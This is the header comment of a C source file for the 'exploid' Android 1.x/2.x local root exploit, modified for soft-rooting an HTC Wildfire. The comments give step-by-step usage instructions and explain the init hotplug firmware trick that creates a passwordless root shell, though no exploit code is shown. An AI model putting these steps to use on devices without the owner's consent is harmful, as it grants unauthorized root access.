/* android 1.x/2.x the real youdev feat. init local root exploit.
 *
 *
 * Modifications to original exploit for HTC Wildfire Stage 1 soft-root (c) 2010 Martin Paul Eve
 * Changes:
 * -- Will not remount /system rw (NAND protection renders this pointless)
 * -- Doesn't copy self, merely chmods permissions of original executable
 * -- No password required for rootshell (designed to be immediately removed once su binary is in place)
 *
 * Revised usage instructions:
 * -- Copy to /sqlite_stmt_journals/exploid and /sqlite_stmt_journals/su
 * -- chmod exploid to 755
 * -- Execute the binary
 * -- Enable or disable a hotplug item (wifi, bluetooth etc. -- this could be done automatically by an app that packaged this exploit) -- don't worry that it segfaults
 * -- Execute it again to gain rootshell
 * -- Copy to device (/sqlite_stmt_journals/) + chown/chmod su to 04711
 * -- Delete original exploid
 * -- Use modified Superuser app with misplaced su binary
 *
 * Explanatory notes:
 * -- This is designed to be used with a modified superuser app (not yet written) which will use the su binary in /sqlite_stmt_journals/
 * -- It is important that you delete the original exploid binary because, otherwise, any application can gain root
 *
 * Original copyright/usage information
 *
 * (C) 2009/2010 by The Android Exploid Crew.
 *
 * Copy from sdcard to /sqlite_stmt_journals/exploid, chmod 0755 and run.
 * Or use /data/local/tmp if available (thx to ioerror!) It is important to
 * to use /sqlite_stmt_journals directory if available.
 * Then try to invoke hotplug by clicking Settings->Wireless->{Airplane,WiFi etc}
 * or use USB keys etc. This will invoke hotplug which is actually
 * our exploit making /system/bin/rootshell.
 * This exploit requires /etc/firmware directory, e.g. it will
 * run on real devices and not inside the emulator.
 * I'd like to have this exploitet by using the same blockdevice trick
 * as in udev, but internal structures only allow world writable char
 * devices, not block devices, so I used the firmware subsystem.
 *
 * !!!This is PoC code for educational purposes only!!!
 * If you run it, it might crash your device and make it unusable!
 * So you use it at your own risk!
 *
 * Thx to all the TAEC supporters.
